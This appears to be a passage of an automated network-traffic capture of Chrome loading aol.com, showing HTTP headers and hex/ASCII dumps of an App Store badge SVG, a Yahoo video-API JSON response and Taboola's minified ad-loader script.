2024-05-23 22:34:54 UTC	621	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 5251894 Cache-Control: max-age=365000000, immutable Content-Type: image/svg+xml Date: Thu, 23 May 2024 22:34:54 GMT Etag: "2928664fe1fc6aca88583a6f606d60ba" Last-Modified: Mon, 28 Nov 2022 10:20:33 GMT Server: ECAcc (lhd/35D7) x-amz-id-2: Ns8EWLhq1WzPnAgjpru9LMgKDGljF4LjG5OGe6FkHYaCUcEzH9heyoTBgvcuvaXYU/utY6KpxW8= x-amz-replication-status: COMPLETED x-amz-request-id: B26NA60KXVCF0C1K x-amz-server-side-encryption: AES256 x-amz-version-id: M3sCfyi28qgEfUQomdcrA9y7CjlgkNje X-Cache: HIT Content-Length: 10804 Connection: close
2024-05-23 22:34:54 UTC	10804	IN	Data Raw: 3c 73 76 67 20 69 64 3d 22 6c 69 76 65 74 79 70 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 31 39 2e 36 36 34 30 37 22 20 68 65 69 67 68 74 3d 22 34 30 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 31 39 2e 36 36 34 30 37 20 34 30 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 44 6f 77 6e 6c 6f 61 64 5f 6f 6e 5f 74 68 65 5f 41 70 70 5f 53 74 6f 72 65 5f 42 61 64 67 65 5f 55 53 2d 55 4b 5f 52 47 42 5f 62 6c 6b 5f 34 53 56 47 5f 30 39 32 39 31 37 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 67 3e 0a 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 3c 67 3e 0a 20 20 20 20 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 31 31 30 2e 31 33 34 37 37 2c 30 48 39 2e 35 33 34 36 38 63 2d 2e 33 36 36 37 Data Ascii: <svg id="livetype" xmlns="http://www.w3.org/2000/svg" width="119.66407" height="40" viewBox="0 0 119.66407 40"> <title>Download_on_the_App_Store_Badge_US-UK_RGB_blk_4SVG_092917</title> <g> <g> <g> <path d="M110.13477,0H9.53468c-.3667

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
228	192.168.2.6	49877	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	1323	OUT	GET /v1/video/sapi/streams/42b897a6-9771-3329-b351-69a701a77438?ad.pubfamily=aol&srid=1130454662&protocol=http&format=m3u8%2Cmp4%2Cwebm&rt=html&devtype=desktop&offnetwork=false&plid=c32aa27e-7796-468d-8df4-0e2b43fa14aa&region=US&site=aolhomepage&expb=aol-acookie-control%2Caol-aa-1&expn=aolhomepage&bckt=Treatment_Oath_Player&lang=en-US&width=368&height=276&resize=true&ps=b2be1uzt&autoplay=false&image_sizes=&excludePS=true&isDockable=0&acctid=&synd=&pspid=1197803361&plidl=&topic=&pver=1.6.29&try=1&failover_count=0&ads=ima&ad.pl=up&ad.pd=&ad.pt=home&ad.pct=aol&evp=bcp&hlspre=false&ad.plseq=1&gdpr=false&iabconsent=&usprv=1YNN&gpp=DBAA&gppSid=-1 HTTP/1.1 Host: video-api.yql.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/plain, / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:34:54 UTC	994	IN	HTTP/1.1 200 OK content-type: application/json;charset=utf-8 ps: b2be1uzt cache-control: private vary: Accept-Encoding access-control-allow-origin: https://www.aol.com access-control-allow-methods: GET, POST, HEAD, OPTIONS timing-allow-origin: * access-control-allow-credentials: true access-control-allow-headers: Content-Type access-control-expose-headers: Access-Control-Allow-Credentials, Access-Control-Allow-Headers, Access-Control-Allow-Origin, Content-Length, SKT y-rid: 6rt5rilj4vh4e x-yahoo-request-id: 6rt5rilj4vh4e x-request-id: c761bdb0-68f6-459c-a6a4-fe58ffad3031 content-length: 6103 x-envoy-upstream-service-time: 27 date: Thu, 23 May 2024 22:34:53 GMT server: ATS Referrer-Policy: no-referrer-when-downgrade Age: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 7b 22 71 75 65 72 79 22 3a 7b 22 72 65 73 75 6c 74 73 22 3a 7b 22 6d 65 64 69 61 4f 62 6a 22 3a 5b 7b 22 69 64 22 3a 22 34 32 62 38 39 37 61 36 2d 39 37 37 31 2d 33 33 32 39 2d 62 33 35 31 2d 36 39 61 37 30 31 61 37 37 34 33 38 22 2c 22 6d 65 74 61 22 3a 7b 22 61 74 74 72 69 62 75 74 69 6f 6e 22 3a 22 22 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 54 65 6e 6e 65 73 73 65 65 20 6a 75 64 67 65 20 62 6c 6f 63 6b 73 20 65 66 66 6f 72 74 20 74 6f 20 73 65 6c 6c 20 45 6c 76 69 73 20 50 72 65 73 6c 65 79 26 23 33 39 3b 73 20 66 6f 72 6d 65 72 20 68 6f 6d 65 3b 20 50 72 69 6e 63 65 20 57 69 6c 6c 69 61 6d 20 68 6f 73 74 73 20 72 6f 79 61 6c 20 73 75 6d 6d 65 72 20 70 61 72 74 79 20 69 6e 20 74 68 65 20 72 61 69 6e 20 61 74 20 42 75 63 6b 69 6e 67 68 61 6d 20 Data Ascii: {"query":{"results":{"mediaObj":[{"id":"42b897a6-9771-3329-b351-69a701a77438","meta":{"attribution":"","description":"Tennessee judge blocks effort to sell Elvis Presley's former home; Prince William hosts royal summer party in the rain at Buckingham
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 5f 63 6f 75 6e 74 22 3a 38 35 31 33 36 36 2c 22 6e 69 65 6c 73 65 6e 5f 62 65 61 63 6f 6e 73 22 3a 66 61 6c 73 65 2c 22 75 70 6c 79 6e 6b 5f 6c 69 76 65 22 3a 66 61 6c 73 65 2c 22 6c 69 76 65 5f 77 69 74 68 5f 61 64 73 22 3a 66 61 6c 73 65 7d 2c 22 73 74 72 65 61 6d 73 22 3a 5b 7b 22 68 6f 73 74 22 3a 22 68 74 74 70 73 3a 2f 2f 65 64 67 65 2e 61 70 69 2e 62 72 69 67 68 74 63 6f 76 65 2e 63 6f 6d 22 2c 22 70 61 74 68 22 3a 22 2f 70 6c 61 79 62 61 63 6b 2f 76 31 2f 61 63 63 6f 75 6e 74 73 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 76 69 64 65 6f 73 2f 36 33 35 33 35 31 30 33 30 37 31 31 32 2f 6d 61 73 74 65 72 2e 6d 33 75 38 3f 62 63 6f 76 5f 61 75 74 68 3d 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 Data Ascii: _count":851366,"nielsen_beacons":false,"uplynk_live":false,"live_with_ads":false},"streams":[{"host":"https://edge.api.brightcove.com","path":"/playback/v1/accounts/6415665815001/videos/6353510307112/master.m3u8?bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsi
2024-05-23 22:34:54 UTC	789	IN	Data Raw: 55 32 4e 6a 55 34 4d 54 55 77 4d 44 45 69 4c 43 4a 77 61 32 6c 6b 49 6a 6f 69 4f 54 49 78 4f 44 51 7a 4d 6a 41 74 4f 47 5a 6d 4d 79 30 30 4e 57 55 35 4c 57 49 32 4d 44 41 74 4f 54 6b 77 5a 6a 67 79 4d 6d 4d 34 4e 6a 59 33 49 69 77 69 5a 58 68 77 49 6a 6f 78 4e 7a 45 32 4e 54 41 7a 4f 54 6b 30 4c 43 4a 70 59 58 51 69 4f 6a 45 33 4d 54 59 31 4d 44 4d 32 4f 54 52 39 2e 66 36 31 5f 53 45 46 69 5a 79 51 6e 50 67 47 5f 31 57 75 48 48 73 66 31 34 38 55 51 56 55 41 51 52 4f 4d 75 37 36 7a 78 4c 38 47 41 46 4b 65 58 42 55 39 4f 39 43 7a 5a 41 4e 37 5f 68 52 55 6e 4e 73 63 39 6f 43 53 6d 51 64 64 74 5f 6c 74 33 59 38 79 72 50 58 70 32 7a 48 6d 77 77 59 4c 65 54 57 6b 44 34 79 57 44 63 35 64 42 4b 33 54 6a 49 72 51 72 57 47 6f 6c 7a 72 6a 64 76 4f 5f 39 47 59 67 59 Data Ascii: U2NjU4MTUwMDEiLCJwa2lkIjoiOTIxODQzMjAtOGZmMy00NWU5LWI2MDAtOTkwZjgyMmM4NjY3IiwiZXhwIjoxNzE2NTAzOTk0LCJpYXQiOjE3MTY1MDM2OTR9.f61_SEFiZyQnPgG_1WuHHsf148UQVUAQROMu76zxL8GAFKeXBU9O9CzZAN7_hRUnNsc9oCSmQddt_lt3Y8yrPXp2zHmwwYLeTWkD4yWDc5dBK3TjIrQrWGolzrjdvO_9GYgY
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 65 72 20 41 67 72 65 65 6d 65 6e 74 22 2c 22 61 63 63 6f 75 6e 74 5f 6e 61 6d 65 22 3a 22 41 73 73 6f 63 69 61 74 65 64 20 50 72 65 73 73 20 28 41 50 29 22 2c 22 6f 72 69 67 69 6e 61 74 69 6e 67 5f 70 72 6f 70 65 72 74 79 22 3a 22 4e 65 77 73 22 2c 22 61 63 63 6f 75 6e 74 5f 69 64 22 3a 22 30 30 31 37 30 30 30 30 30 30 50 41 6a 56 76 41 41 4c 22 2c 22 73 61 6c 65 73 66 6f 72 63 65 5f 69 64 22 3a 22 61 30 37 37 30 30 30 30 30 30 49 70 6f 4a 69 41 41 4a 22 2c 22 69 73 5f 64 72 6d 22 3a 66 61 6c 73 65 2c 22 61 6c 6c 6f 77 5f 6c 69 76 65 73 65 65 6b 22 3a 66 61 6c 73 65 7d 2c 22 6d 65 74 72 69 63 73 22 3a 7b 22 63 6f 6d 73 63 6f 72 65 5f 63 6d 35 22 3a 22 30 32 22 2c 22 79 77 61 22 3a 5b 5d 2c 22 63 6f 6d 73 63 6f 72 65 36 22 3a 22 22 2c 22 62 65 61 63 6f 6e Data Ascii: er Agreement","account_name":"Associated Press (AP)","originating_property":"News","account_id":"0017000000PAjVvAAL","salesforce_id":"a077000000IpoJiAAJ","is_drm":false,"allow_liveseek":false},"metrics":{"comscore_cm5":"02","ywa":[],"comscore6":"","beacon
2024-05-23 22:34:54 UTC	1300	IN	Data Raw: 49 4e 53 54 52 45 41 4d 5f 56 49 44 45 4f 5f 4e 4f 4e 43 45 5d 26 70 62 63 6b 74 3d 54 72 65 61 74 6d 65 6e 74 5f 4f 61 74 68 5f 50 6c 61 79 65 72 26 6e 70 61 3d 30 26 6c 74 64 3d 30 26 70 70 69 64 3d 22 7d 2c 22 62 63 70 22 3a 7b 22 76 5f 69 64 22 3a 22 36 33 35 33 35 31 30 33 30 37 31 31 32 22 2c 22 61 5f 69 64 22 3a 22 36 34 31 35 36 36 35 38 31 35 30 30 31 22 2c 22 64 63 5f 74 6f 6b 65 6e 22 3a 22 65 79 4a 68 62 47 63 69 4f 69 4a 53 55 7a 49 31 4e 69 4a 39 2e 65 79 4a 68 64 57 51 69 4f 6c 73 69 62 57 56 30 63 6d 6c 6a 63 79 35 69 63 6d 6c 6e 61 48 52 6a 62 33 5a 6c 4c 6d 4e 76 62 53 4a 64 4c 43 4a 68 59 32 4e 70 5a 43 49 36 49 6a 59 30 4d 54 55 32 4e 6a 55 34 4d 54 55 77 4d 44 45 69 4c 43 4a 77 61 32 6c 6b 49 6a 6f 69 4f 54 49 78 4f 44 51 7a 4d 6a 41 Data Ascii: INSTREAM_VIDEO_NONCE]&pbckt=Treatment_Oath_Player&npa=0&ltd=0&ppid="},"bcp":{"v_id":"6353510307112","a_id":"6415665815001","dc_token":"eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsibWV0cmljcy5icmlnaHRjb3ZlLmNvbSJdLCJhY2NpZCI6IjY0MTU2NjU4MTUwMDEiLCJwa2lkIjoiOTIxODQzMjA
2024-05-23 22:34:54 UTC	114	IN	Data Raw: 75 6c 6c 2c 22 63 6f 6c 6f 22 3a 22 69 72 32 2b 22 2c 22 76 70 61 54 72 61 63 65 22 3a 5b 6e 75 6c 6c 5d 2c 22 62 75 63 6b 65 74 73 22 3a 22 22 2c 22 73 74 61 74 75 73 65 73 22 3a 5b 22 31 30 30 22 5d 2c 22 6d 65 73 73 61 67 65 73 22 3a 5b 22 72 65 61 64 79 22 5d 7d 2c 22 63 6f 6e 6e 65 63 74 69 6f 6e 54 79 70 65 22 3a 6e 75 6c 6c 7d 7d 7d Data Ascii: ull,"colo":"ir2+","vpaTrace":[null],"buckets":"","statuses":["100"],"messages":["ready"]},"connectionType":null}}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
229	192.168.2.6	49976	151.101.1.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:54 UTC	544	OUT	GET /libtrc/yahoo-aol-network/loader.js HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:54 UTC	901	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1257275 Server: nginx Content-Type: application/javascript; charset=utf-8 access-control-allow-origin: * etag: "723d4da6b49e4c1cd91be7326b21e290cdae23f2" last-modified: Thu, 23 May 2024 22:34:54 UTC x-amz-id-2: K8a5Y19tFO7o2nYbkJFF1cQVZllG9ZsEGUfU9kEDjESPT0ureb/3ZMTtOuwzPvcQaXuogH3vCIo= x-amz-replication-status: FAILED x-amz-request-id: SG1NK0585T1SS49J x-amz-server-side-encryption: AES256 x-amz-version-id: sc7NzNrv6knqeAbD.SwhXgS.z2m.o05u x-from-cache: 1 x-envoy-upstream-service-time: 4 Accept-Ranges: bytes Age: 0 Date: Thu, 23 May 2024 22:34:54 GMT Via: 1.1 varnish X-Served-By: cache-ewr18120-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503695.695006,VS0,VE19 Cache-Control: private,max-age=14400 Vary: Accept-Encoding, Accept-Encoding abp: 21 Set-Cookie: abLdr=21;Max-Age=10800; path=/; SameSite=None;Secure
2024-05-23 22:34:54 UTC	16384	IN	Data Raw: 2f 2f 41 42 5f 54 45 4d 50 4c 41 54 45 0a 2f 2f 61 62 20 2d 3e 20 32 31 0a 0a 0a 0a 09 09 76 61 72 20 5f 74 61 62 6f 6f 6c 61 20 3d 20 5f 74 61 62 6f 6f 6c 61 20 7c 7c 20 5b 5d 3b 76 61 72 20 54 52 43 20 3d 20 54 52 43 20 7c 7c 20 7b 7d 3b 0a 54 52 43 2e 70 65 72 66 43 6f 6e 66 4f 76 65 72 72 69 64 65 20 3d 20 7b 27 6c 6f 67 54 69 6d 65 72 27 3a 20 35 30 30 30 30 2c 20 27 6c 6f 67 4c 65 6e 67 74 68 27 20 3a 20 35 2c 20 27 74 72 61 66 66 69 63 27 20 3a 20 35 30 2c 20 27 6d 65 61 73 75 72 65 45 6e 61 62 6c 65 27 20 3a 20 74 72 75 65 2c 20 27 6d 65 61 73 75 72 65 54 69 6d 65 54 6f 53 65 6e 64 27 20 3a 20 31 30 30 30 30 2c 20 27 6d 65 61 73 75 72 65 49 6e 74 65 72 76 61 6c 27 20 3a 20 31 30 30 30 30 2c 20 27 64 69 73 61 62 6c 65 52 61 77 44 61 74 61 53 65 6e Data Ascii: //AB_TEMPLATE//ab -> 21var _taboola = _taboola \|\| [];var TRC = TRC \|\| {};TRC.perfConfOverride = {'logTimer': 50000, 'logLength' : 5, 'traffic' : 50, 'measureEnable' : true, 'measureTimeToSend' : 10000, 'measureInterval' : 10000, 'disableRawDataSen
2024-05-23 22:34:54 UTC	16384	IN	Data Raw: 29 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 69 6e 73 74 61 6e 63 65 73 2c 72 3d 30 2c 6e 3d 74 3b 72 3c 6e 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6f 3d 6e 5b 72 5d 3b 69 66 28 21 6f 2e 69 73 50 61 72 73 65 64 29 72 65 74 75 72 6e 20 6f 2e 63 6f 6e 74 61 69 6e 65 72 49 64 7d 72 65 74 75 72 6e 20 74 5b 74 2e 6c 65 6e 67 74 68 2d 31 5d 2e 63 6f 6e 74 61 69 6e 65 72 49 64 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 2e 66 69 6c 74 65 72 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2e 70 6c 61 63 65 6d 65 6e 74 4e 61 6d 65 3d 3d 3d 65 7d 29 29 5b 30 5d 7d 7d 2c 34 35 38 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 Data Ascii: ))}))}function h(e){for(var t=e.instances,r=0,n=t;r<n.length;r++){var o=n[r];if(!o.isParsed)return o.containerId}return t[t.length-1].containerId}function g(e,t){return t.filter((function(t){return t.placementName===e}))[0]}},4583:function(e,t,r){"use str
2024-05-23 22:34:54 UTC	16384	IN	Data Raw: 4e 61 6d 65 28 29 3d 3d 3d 65 7d 29 29 5b 30 5d 3b 69 66 28 74 29 7b 76 61 72 20 72 3d 62 2e 69 6e 64 65 78 4f 66 28 74 29 3b 62 2e 73 70 6c 69 63 65 28 72 2c 31 29 2c 74 2e 75 6e 72 65 67 69 73 74 65 72 65 64 28 29 2c 28 30 2c 64 2e 24 36 29 28 74 29 2c 54 28 74 2c 21 31 29 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 65 29 7b 76 61 72 20 74 2c 72 3b 69 66 28 64 2e 48 46 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 3d 3d 3d 28 72 3d 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 65 31 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 63 61 6c 6c 28 65 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 2e 6d 61 70 28 76 29 3b 28 6e 3f 6c 2e 65 2e 61 6c 6c 28 6e 29 3a 6c 2e 65 2e 72 65 73 6f 6c 76 65 28 29 29 2e 74 68 65 6e 28 28 66 75 6e 63 Data Ascii: Name()===e}))[0];if(t){var r=b.indexOf(t);b.splice(r,1),t.unregistered(),(0,d.$6)(t),T(t,!1)}}}function L(e){var t,r;if(d.HF){var n=null===(r=null===(t=e.e1)\|\|void 0===t?void 0:t.call(e))\|\|void 0===r?void 0:r.map(v);(n?l.e.all(n):l.e.resolve()).then((func
2024-05-23 22:34:54 UTC	16384	IN	Data Raw: 65 74 75 72 6e 7b 74 79 70 65 3a 22 64 65 62 75 67 22 2c 75 72 6c 3a 28 30 2c 79 2e 56 6a 29 28 22 64 65 62 75 67 22 2c 6e 29 7d 7d 28 64 2c 75 29 3a 28 75 3d 28 30 2c 6f 2e 70 69 29 28 28 30 2c 6f 2e 70 69 29 28 7b 7d 2c 75 29 2c 7b 75 72 6c 3a 28 30 2c 6f 2e 70 69 29 28 28 30 2c 6f 2e 70 69 29 28 28 74 3d 7b 7d 2c 74 2e 74 79 70 65 3d 65 2c 74 2e 6d 73 67 3d 64 2c 74 29 2c 75 2e 75 72 6c 29 2c 70 29 7d 29 2c 7b 74 79 70 65 3a 22 64 65 62 75 67 22 2c 75 72 6c 3a 28 30 2c 79 2e 56 6a 29 28 22 64 65 62 75 67 22 2c 75 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 29 7b 76 61 72 20 72 3d 4e 28 65 2c 4f 2c 41 29 2c 6e 3d 28 30 2c 61 2e 66 4d 29 28 65 2c 72 29 3b 72 65 74 75 72 6e 20 6e 3f 28 6e 3d 28 30 2c 6f 2e 70 69 29 28 28 30 2c 6f 2e 70 69 29 28 Data Ascii: eturn{type:"debug",url:(0,y.Vj)("debug",n)}}(d,u):(u=(0,o.pi)((0,o.pi)({},u),{url:(0,o.pi)((0,o.pi)((t={},t.type=e,t.msg=d,t),u.url),p)}),{type:"debug",url:(0,y.Vj)("debug",u)})}function H(e,t){var r=N(e,O,A),n=(0,a.fM)(e,r);return n?(n=(0,o.pi)((0,o.pi)(
2024-05-23 22:34:54 UTC	16384	IN	Data Raw: 70 74 69 6f 6e 73 53 75 6d 6d 61 72 79 2e 70 6c 61 63 65 6d 65 6e 74 73 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 49 6e 66 69 6e 69 74 65 45 78 70 6c 6f 72 65 4d 6f 72 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 2c 74 3d 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 5f 72 65 73 70 6f 6e 73 65 53 75 6d 6d 61 72 79 2e 65 78 70 6c 6f 72 65 4d 6f 72 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 66 65 65 64 3b 72 65 74 75 72 6e 21 21 74 26 26 21 74 2e 68 61 73 46 65 65 64 45 6e 64 65 64 26 26 21 21 28 30 2c 58 2e 6d 76 29 28 74 2e 66 70 6c 2c 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 53 75 6d 6d 61 72 79 2e 70 6c 61 63 65 6d 65 6e 74 73 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 69 73 50 6c 61 63 65 6d 65 Data Ascii: ptionsSummary.placements)}))},e.prototype.hasInfiniteExploreMore=function(){var e,t=null===(e=this._responseSummary.exploreMore)\|\|void 0===e?void 0:e.feed;return!!t&&!t.hasFeedEnded&&!!(0,X.mv)(t.fpl,this._optionsSummary.placements)},e.prototype.isPlaceme
2024-05-23 22:34:54 UTC	16384	IN	Data Raw: 28 65 29 7b 76 61 72 20 74 3d 6f 2e 4c 35 2e 63 6f 6e 66 69 67 2e 70 75 62 6c 69 73 68 65 72 2c 72 3d 28 30 2c 6e 2e 65 76 29 28 5b 5d 2c 74 2e 73 79 73 74 65 6d 46 6c 61 67 73 2e 65 78 70 65 72 69 6d 65 6e 74 49 44 2c 21 30 29 2c 61 3d 65 2e 70 75 62 45 78 70 65 72 69 6d 65 6e 74 2c 6c 3d 28 30 2c 69 2e 43 64 29 28 22 70 75 62 6c 69 73 68 65 72 2d 65 78 70 65 72 69 6d 65 6e 74 73 22 29 2c 73 3d 61 26 26 6c 3f 6c 5b 61 5d 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 20 73 26 26 72 2e 70 75 73 68 28 73 29 2c 72 2e 6a 6f 69 6e 28 22 2c 22 29 7c 7c 76 6f 69 64 20 30 7d 66 75 6e 63 74 69 6f 6e 20 45 28 65 2c 74 29 7b 76 61 72 20 72 3d 74 3f 28 30 2c 70 2e 51 69 29 28 74 29 3a 66 2e 6d 62 2e 64 6f 63 75 6d 65 6e 74 2c 6e 3d 28 30 2c 70 2e 6b 5f 29 28 65 2c 72 29 3b 72 Data Ascii: (e){var t=o.L5.config.publisher,r=(0,n.ev)([],t.systemFlags.experimentID,!0),a=e.pubExperiment,l=(0,i.Cd)("publisher-experiments"),s=a&&l?l[a]:null;return s&&r.push(s),r.join(",")\|\|void 0}function E(e,t){var r=t?(0,p.Qi)(t):f.mb.document,n=(0,p.k_)(e,r);r
2024-05-23 22:34:54 UTC	16384	IN	Data Raw: 62 6c 65 3d 21 30 7d 2c 62 2e 73 65 6e 64 52 56 41 76 61 69 6c 61 62 6c 65 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 62 2e 72 76 41 76 61 69 6c 61 62 6c 65 45 76 65 6e 74 26 26 21 62 2e 72 76 41 76 61 69 6c 61 62 6c 65 45 76 65 6e 74 2e 69 73 53 65 6e 74 26 26 28 62 2e 72 76 41 76 61 69 6c 61 62 6c 65 45 76 65 6e 74 2e 69 73 53 65 6e 74 3d 21 30 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 30 2c 4f 2e 57 74 29 28 22 66 69 72 73 74 52 56 41 76 61 69 6c 61 62 6c 65 22 29 3b 76 61 72 20 74 3d 28 30 2c 73 2e 78 53 29 28 65 29 3b 74 3f 28 30 2c 4e 2e 78 68 29 28 74 29 3a 41 2e 65 2e 72 65 73 6f 6c 76 65 28 22 22 29 7d 28 62 29 29 7d 2c 74 2e 70 6c 69 6e 6b 26 26 28 62 2e 75 73 65 72 41 64 43 68 6f 69 63 65 3d 7b 6c 69 6e 6b 3a 74 2e 70 6c 69 6e 6b 2c 74 Data Ascii: ble=!0},b.sendRVAvailableEvent=function(){b.rvAvailableEvent&&!b.rvAvailableEvent.isSent&&(b.rvAvailableEvent.isSent=!0,function(e){(0,O.Wt)("firstRVAvailable");var t=(0,s.xS)(e);t?(0,N.xh)(t):A.e.resolve("")}(b))},t.plink&&(b.userAdChoice={link:t.plink,t
2024-05-23 22:34:55 UTC	16384	IN	Data Raw: 64 65 64 29 72 65 74 75 72 6e 20 72 7d 66 75 6e 63 74 69 6f 6e 20 67 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 30 2c 6e 2e 70 69 29 28 28 30 2c 6e 2e 70 69 29 28 28 30 2c 6e 2e 70 69 29 28 7b 7d 2c 65 29 2c 74 29 2c 7b 5f 49 44 3a 65 2e 5f 49 44 2c 62 61 74 63 68 4c 69 73 74 3a 28 30 2c 6e 2e 65 76 29 28 28 30 2c 6e 2e 65 76 29 28 5b 5d 2c 65 2e 62 61 74 63 68 4c 69 73 74 7c 7c 5b 5d 2c 21 30 29 2c 74 2e 62 61 74 63 68 4c 69 73 74 7c 7c 5b 5d 2c 21 30 29 7d 29 7d 7d 2c 31 38 33 35 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 64 28 74 2c 7b 58 50 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6d 7d 2c 55 44 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 68 7d 2c 79 68 3a 66 75 6e 63 74 69 Data Ascii: ded)return r}function g(e,t){return(0,n.pi)((0,n.pi)((0,n.pi)({},e),t),{_ID:e._ID,batchList:(0,n.ev)((0,n.ev)([],e.batchList\|\|[],!0),t.batchList\|\|[],!0)})}},1835:function(e,t,r){"use strict";r.d(t,{XP:function(){return m},UD:function(){return h},yh:functi
2024-05-23 22:34:55 UTC	16384	IN	Data Raw: 65 20 65 2e 76 74 61 67 2c 30 29 29 29 7d 7d 2c 36 34 32 34 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 72 2e 64 28 74 2c 7b 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 73 7d 7d 29 3b 76 61 72 20 6e 3d 72 28 37 35 38 32 29 2c 6f 3d 72 28 39 32 39 33 29 2c 69 3d 72 28 34 32 35 39 29 2c 61 3d 72 28 32 34 35 36 29 2c 6c 3d 72 28 31 33 37 39 29 2c 73 3d 7b 75 70 64 61 74 65 43 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 65 2e 76 69 67 6e 65 74 74 65 3b 28 30 2c 6f 2e 65 4c 29 28 72 2c 74 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 2c 6e 3d 6e 75 6c 6c 3d 3d 3d 28 72 3d 74 2e 70 72 6f 64 73 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 72 3f 76 6f 69 64 20 30 3a 72 Data Ascii: e e.vtag,0)))}},6424:function(e,t,r){"use strict";r.d(t,{s:function(){return s}});var n=r(7582),o=r(9293),i=r(4259),a=r(2456),l=r(1379),s={updateCache:function(e,t){var r=e.vignette;(0,o.eL)(r,t,(function(e){var r,n=null===(r=t.prods)\|\|void 0===r?void 0:r
